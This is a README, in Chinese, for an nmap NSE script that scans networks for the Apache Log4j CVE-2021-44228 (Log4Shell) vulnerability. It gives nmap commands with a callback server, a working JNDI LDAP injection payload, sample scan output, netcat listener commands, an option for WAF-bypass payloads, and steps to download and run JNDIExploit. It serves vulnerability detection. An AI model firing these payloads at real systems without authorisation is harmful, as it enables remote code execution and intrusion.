nmap-log4shell 是一个 NSE 脚本,用于在网络中检测 Apache Log4j RCE (CVE-2021-44228) 漏洞。该脚本能够通过 HTTP 头部(默认)或通过 TCP/UDP 套接字注入 log4shell 利用载荷。
CVE-2021-44228 是 Apache Log4j 2 中的一个远程代码执行 (RCE) 漏洞。未经身份验证的远程攻击者可以通过向运行易受攻击版本的 log4j 的服务器发送特制请求来利用此漏洞。构造的请求通过多种服务使用 Java 命名和目录接口 (JNDI) 注入,包括:
如果易受攻击的服务器使用 log4j 记录请求,则该漏洞将通过上述服务之一,从攻击者控制的服务器请求 JNDI 上的恶意载荷。成功利用可能导致 RCE。
找到系统中 nmap 脚本所在的位置:
~/.nmap/scripts/ 或 $NMAPDIR/usr/local/Cellar/nmap/<版本>/share/nmap/scripts/C:\Program Files (x86)\Nmap\scripts将提供的脚本 (log4shell.nse) 复制到该目录,然后运行 nmap --script-updatedb 以更新 nmap 脚本数据库。
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server:回调服务器(例如 172.17.42.1:1389)log4shell.http-headers:逗号分隔的 HTTP 头部列表(例如 X-Api-Version,User-Agent,Referer)log4shell.http-method:HTTP 方法(默认:GET)log4shell.url-path:URL 路径(默认:/)log4shell.waf-bypass:使用 WAF 绕过载荷(默认:false)log4shell.test-method:通过 http(默认)、tcp、udp 或 进行测试该脚本依赖于被扫描目标的回调,因此任何防火墙规则或与其他安全设备的交互都会影响脚本的有效性。
使用 netcat (或 ncat) 监听一个 TCP 端口:
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
使用 --script log4shell.nse 脚本运行 Nmap
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <端口>] <目标>
在 netcat (或 ncat) 输出中查看目标 IP 地址:
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
从 GitHub 下载 JNDIExploit (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
启动 JNDIExploit 服务器:
java -jar JNDIExploit.jar
使用 --script log4shell.nse 脚本运行 Nmap
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <端口>] <目标>
查看 JNDIExploit 输出以查看接收到的 LDAP 查询
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
此项目仅用于教育和道德测试目的。在未事先获得双方同意的情况下,使用 nmap-log4shell 攻击目标是非法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,并且不对因使用本程序而造成的任何滥用或损害负责。
本项目采用 MIT 许可证。
all